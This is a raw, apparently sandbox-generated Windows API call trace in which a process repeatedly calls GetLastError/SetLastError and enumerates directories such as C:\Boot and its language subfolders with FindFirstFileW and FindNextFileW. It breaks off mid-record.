SetLastError (dwErrCode=0x0) [0046.942] GetLastError () returned 0x0 [0046.942] SetLastError (dwErrCode=0x0) [0046.942] GetLastError () returned 0x0 [0046.942] SetLastError (dwErrCode=0x0) [0046.942] GetLastError () returned 0x0 [0046.942] SetLastError (dwErrCode=0x0) [0046.942] GetLastError () returned 0x0 [0046.942] SetLastError (dwErrCode=0x0) [0046.942] GetLastError () returned 0x0 [0046.942] SetLastError (dwErrCode=0x0) [0046.943] GetLastError () returned 0x0 [0046.943] SetLastError (dwErrCode=0x0) [0046.943] GetLastError () returned 0x0 [0046.943] SetLastError (dwErrCode=0x0) [0046.943] GetLastError () returned 0x0 [0046.943] SetLastError (dwErrCode=0x0) [0046.943] GetLastError () returned 0x0 [0046.943] SetLastError (dwErrCode=0x0) [0046.943] GetLastError () returned 0x0 [0046.943] SetLastError (dwErrCode=0x0) [0046.943] GetLastError () returned 0x0 [0046.943] SetLastError (dwErrCode=0x0) [0046.943] GetLastError () returned 0x0 [0046.943] SetLastError (dwErrCode=0x0) [0046.943] GetLastError () returned 0x0 [0046.943] SetLastError (dwErrCode=0x0) [0046.943] GetLastError () returned 0x0 [0046.943] SetLastError (dwErrCode=0x0) [0046.943] GetLastError () returned 0x0 [0046.944] SetLastError (dwErrCode=0x0) [0046.944] GetLastError () returned 0x0 [0046.944] SetLastError (dwErrCode=0x0) [0046.944] GetLastError () returned 0x0 [0046.944] SetLastError (dwErrCode=0x0) [0046.944] GetLastError () returned 0x0 [0046.944] SetLastError (dwErrCode=0x0) [0046.944] GetLastError () returned 0x0 [0046.944] SetLastError (dwErrCode=0x0) [0046.944] GetLastError () returned 0x0 [0046.944] SetLastError (dwErrCode=0x0) [0046.944] GetLastError () returned 0x0 [0046.944] SetLastError (dwErrCode=0x0) [0046.944] GetLastError () returned 0x0 [0046.944] SetLastError (dwErrCode=0x0) [0046.944] GetLastError () returned 0x0 [0046.944] SetLastError (dwErrCode=0x0) [0046.944] GetLastError () returned 0x0 [0046.945] SetLastError (dwErrCode=0x0) [0046.945] GetLastError () returned 0x0 [0046.945] SetLastError (dwErrCode=0x0) [0046.945] GetLastError () returned 0x0 [0046.945] SetLastError (dwErrCode=0x0) [0046.945] GetLastError () returned 0x0 [0046.945] SetLastError (dwErrCode=0x0) [0046.945] GetLastError () returned 0x0 [0046.945] SetLastError (dwErrCode=0x0) [0046.945] GetLastError () returned 0x0 [0046.945] SetLastError (dwErrCode=0x0) [0046.945] GetLastError () returned 0x0 [0046.945] SetLastError (dwErrCode=0x0) [0046.945] GetLastError () returned 0x0 [0046.945] SetLastError (dwErrCode=0x0) [0046.945] GetLastError () returned 0x0 [0046.945] SetLastError (dwErrCode=0x0) [0046.945] GetLastError () returned 0x0 [0046.946] SetLastError (dwErrCode=0x0) [0046.946] GetLastError () returned 0x0 [0046.946] SetLastError (dwErrCode=0x0) [0046.946] GetLastError () returned 0x0 [0046.946] SetLastError (dwErrCode=0x0) [0046.946] GetLastError () returned 0x0 [0046.946] SetLastError (dwErrCode=0x0) [0046.946] GetLastError () returned 0x0 [0046.946] SetLastError (dwErrCode=0x0) [0046.946] GetLastError () returned 0x0 [0046.946] SetLastError (dwErrCode=0x0) [0046.946] GetLastError () returned 0x0 [0046.946] SetLastError (dwErrCode=0x0) [0046.946] GetLastError () returned 0x0 [0046.946] SetLastError (dwErrCode=0x0) [0046.946] GetLastError () returned 0x0 [0046.946] SetLastError (dwErrCode=0x0) [0046.946] GetLastError () returned 0x0 [0046.947] SetLastError (dwErrCode=0x0) [0046.947] GetLastError () returned 0x0 [0046.947] SetLastError (dwErrCode=0x0) [0046.947] GetLastError () returned 0x0 [0046.947] SetLastError (dwErrCode=0x0) [0046.947] GetLastError () returned 0x0 [0046.947] SetLastError (dwErrCode=0x0) [0046.947] GetLastError () returned 0x0 [0046.947] SetLastError (dwErrCode=0x0) [0046.947] GetLastError () returned 0x0 [0046.947] SetLastError (dwErrCode=0x0) [0046.947] GetLastError () returned 0x0 [0046.947] SetLastError (dwErrCode=0x0) [0046.947] GetLastError () returned 0x0 [0046.947] SetLastError (dwErrCode=0x0) [0046.947] GetLastError () returned 0x0 [0046.947] SetLastError (dwErrCode=0x0) [0046.947] GetLastError () returned 0x0 [0046.947] SetLastError (dwErrCode=0x0) [0046.948] GetLastError () returned 0x0 [0046.948] SetLastError (dwErrCode=0x0) [0046.948] GetLastError () returned 0x0 [0046.948] SetLastError (dwErrCode=0x0) [0046.948] GetLastError () returned 0x0 [0046.948] SetLastError (dwErrCode=0x0) [0046.948] GetLastError () returned 0x0 [0046.948] SetLastError (dwErrCode=0x0) [0046.948] GetLastError () returned 0x0 [0046.948] SetLastError (dwErrCode=0x0) [0046.948] GetLastError () returned 0x0 [0046.948] SetLastError (dwErrCode=0x0) [0046.948] GetLastError () returned 0x0 [0046.948] SetLastError (dwErrCode=0x0) [0046.948] GetLastError () returned 0x0 [0046.948] SetLastError (dwErrCode=0x0) [0046.948] GetLastError () returned 0x0 [0046.948] SetLastError (dwErrCode=0x0) [0046.948] GetLastError () returned 0x0 [0046.949] SetLastError (dwErrCode=0x0) [0046.949] GetLastError () returned 0x0 [0046.949] SetLastError (dwErrCode=0x0) [0046.949] GetLastError () returned 0x0 [0046.949] SetLastError (dwErrCode=0x0) [0046.949] GetLastError () returned 0x0 [0046.949] SetLastError (dwErrCode=0x0) [0046.949] GetLastError () returned 0x0 [0046.949] SetLastError (dwErrCode=0x0) [0046.949] GetLastError () returned 0x0 [0046.949] SetLastError (dwErrCode=0x0) [0046.949] GetLastError () returned 0x0 [0046.949] SetLastError (dwErrCode=0x0) [0046.949] GetLastError () returned 0x0 [0046.949] SetLastError (dwErrCode=0x0) [0046.949] SetEvent (hEvent=0x150) returned 1 [0046.949] ResetEvent (hEvent=0x154) returned 1 [0046.950] FindNextFileW (in: hFindFile=0x58bce8, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0046.950] FindClose (in: hFindFile=0x58bce8 | out: hFindFile=0x58bce8) returned 1 [0046.950] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x11e6fc0 | out: hHeap=0xb80000) returned 1 [0046.950] FindNextFileW (in: hFindFile=0x58bca8, lpFindFileData=0x2faf410 | out: lpFindFileData=0x2faf410*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0046.950] FindClose (in: hFindFile=0x58bca8 | out: hFindFile=0x58bca8) returned 1 [0046.950] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x11d6fb8 | out: hHeap=0xb80000) returned 1 [0046.950] FindNextFileW (in: hFindFile=0x58bc68, lpFindFileData=0x2faf694 | out: lpFindFileData=0x2faf694*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0046.950] GetLastError () returned 0x12 [0046.950] SetLastError (dwErrCode=0x12) [0046.950] GetLastError () returned 0x12 [0046.950] SetLastError (dwErrCode=0x12) [0046.950] GetLastError () returned 0x12 [0046.950] SetLastError (dwErrCode=0x12) [0046.950] GetLastError () returned 0x12 [0046.951] SetLastError (dwErrCode=0x12) [0046.951] GetLastError () returned 0x12 [0046.951] SetLastError (dwErrCode=0x12) [0046.951] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x10000) returned 0x11d6fb8 [0046.951] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\*", lpFindFileData=0x2faf410 | out: lpFindFileData=0x2faf410*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName=".", cAlternateFileName="")) returned 0x58bca8 [0046.951] FindNextFileW (in: hFindFile=0x58bca8, lpFindFileData=0x2faf410 | out: lpFindFileData=0x2faf410*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="..", cAlternateFileName="")) returned 1 [0046.951] FindNextFileW (in: hFindFile=0x58bca8, lpFindFileData=0x2faf410 | out: lpFindFileData=0x2faf410*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x44, dwReserved1=0x44, cFileName="BCD", cAlternateFileName="")) returned 1 [0046.951] FindNextFileW (in: hFindFile=0x58bca8, lpFindFileData=0x2faf410 | out: lpFindFileData=0x2faf410*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x44, dwReserved1=0x44, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0046.951] GetLastError () returned 0x12 [0046.951] SetLastError (dwErrCode=0x12) [0046.951] GetLastError () returned 0x12 [0046.952] SetLastError (dwErrCode=0x12) [0046.952] GetLastError () returned 0x12 [0046.952] SetLastError (dwErrCode=0x12) [0046.952] GetLastError () returned 0x12 [0046.952] SetLastError (dwErrCode=0x12) [0046.952] GetLastError () returned 0x12 [0046.952] SetLastError (dwErrCode=0x12) [0046.952] GetLastError () returned 0x12 [0046.952] SetLastError (dwErrCode=0x12) [0046.952] GetLastError () returned 0x12 [0046.952] SetLastError (dwErrCode=0x12) [0046.952] GetLastError () returned 0x12 [0046.952] SetLastError (dwErrCode=0x12) [0046.952] GetLastError () returned 0x12 [0046.952] SetLastError (dwErrCode=0x12) [0046.952] GetLastError () returned 0x12 [0046.952] SetLastError (dwErrCode=0x12) [0046.952] GetLastError () returned 0x12 [0046.953] SetLastError (dwErrCode=0x12) [0046.953] GetLastError () returned 0x12 [0046.953] SetLastError (dwErrCode=0x12) [0046.953] GetLastError () returned 0x12 [0046.953] SetLastError (dwErrCode=0x12) [0046.953] GetLastError () returned 0x12 [0046.953] SetLastError (dwErrCode=0x12) [0046.953] GetLastError () returned 0x12 [0046.953] SetLastError (dwErrCode=0x12) [0046.953] GetLastError () returned 0x12 [0046.953] SetLastError (dwErrCode=0x12) [0046.953] GetLastError () returned 0x12 [0046.953] SetLastError (dwErrCode=0x12) [0046.953] GetLastError () returned 0x12 [0046.953] SetLastError (dwErrCode=0x12) [0046.953] GetLastError () returned 0x12 [0046.953] SetLastError (dwErrCode=0x12) [0046.953] GetLastError () returned 0x12 [0046.954] SetLastError (dwErrCode=0x12) [0046.954] GetLastError () returned 0x12 [0046.954] SetLastError (dwErrCode=0x12) [0046.954] GetLastError () returned 0x12 [0046.954] SetLastError (dwErrCode=0x12) [0046.954] GetLastError () returned 0x12 [0046.954] SetLastError (dwErrCode=0x12) [0046.954] GetLastError () returned 0x12 [0046.954] SetLastError (dwErrCode=0x12) [0046.954] GetLastError () returned 0x12 [0046.954] SetLastError (dwErrCode=0x12) [0046.954] GetLastError () returned 0x12 [0046.954] SetLastError (dwErrCode=0x12) [0046.954] GetLastError () returned 0x12 [0046.954] SetLastError (dwErrCode=0x12) [0046.954] GetLastError () returned 0x12 [0046.954] SetLastError (dwErrCode=0x12) [0046.954] GetLastError () returned 0x12 [0046.955] SetLastError (dwErrCode=0x12) [0046.955] GetLastError () returned 0x12 [0046.955] SetLastError (dwErrCode=0x12) [0046.955] GetLastError () returned 0x12 [0046.955] SetLastError (dwErrCode=0x12) [0046.955] GetLastError () returned 0x12 [0046.955] SetLastError (dwErrCode=0x12) [0046.955] FindNextFileW (in: hFindFile=0x58bca8, lpFindFileData=0x2faf410 | out: lpFindFileData=0x2faf410*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0046.955] FindNextFileW (in: hFindFile=0x58bca8, lpFindFileData=0x2faf410 | out: lpFindFileData=0x2faf410*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0046.955] FindNextFileW (in: hFindFile=0x58bca8, lpFindFileData=0x2faf410 | out: lpFindFileData=0x2faf410*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x44, dwReserved1=0x44, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0046.955] FindNextFileW (in: hFindFile=0x58bca8, lpFindFileData=0x2faf410 | out: lpFindFileData=0x2faf410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0046.955] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\*", lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x592fe0 [0047.043] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.043] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.043] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0047.043] FindClose (in: hFindFile=0x592fe0 | out: hFindFile=0x592fe0) returned 1 [0047.043] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x11e6fc0 | out: hHeap=0xb80000) returned 1 [0047.043] FindNextFileW (in: hFindFile=0x58bca8, lpFindFileData=0x2faf410 | out: lpFindFileData=0x2faf410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="da-DK", cAlternateFileName="")) returned 1 [0047.043] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\da-DK\\*", lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x592fe0 [0047.044] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.044] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.044] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0047.044] FindClose (in: hFindFile=0x592fe0 | out: hFindFile=0x592fe0) returned 1 [0047.044] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x11e6fc0 | out: hHeap=0xb80000) returned 1 [0047.044] FindNextFileW (in: hFindFile=0x58bca8, lpFindFileData=0x2faf410 | out: lpFindFileData=0x2faf410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="de-DE", cAlternateFileName="")) returned 1 [0047.044] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\de-DE\\*", lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x592fe0 [0047.044] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.044] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.045] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0047.045] FindClose (in: hFindFile=0x592fe0 | out: hFindFile=0x592fe0) returned 1 [0047.045] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x11e6fc0 | out: hHeap=0xb80000) returned 1 [0047.045] FindNextFileW (in: hFindFile=0x58bca8, lpFindFileData=0x2faf410 | out: lpFindFileData=0x2faf410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="el-GR", cAlternateFileName="")) returned 1 [0047.045] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\el-GR\\*", lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x592fe0 [0047.045] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.045] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.045] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0047.045] FindClose (in: hFindFile=0x592fe0 | out: hFindFile=0x592fe0) returned 1 [0047.045] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x11e6fc0 | out: hHeap=0xb80000) returned 1 [0047.045] FindNextFileW (in: hFindFile=0x58bca8, lpFindFileData=0x2faf410 | out: lpFindFileData=0x2faf410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, 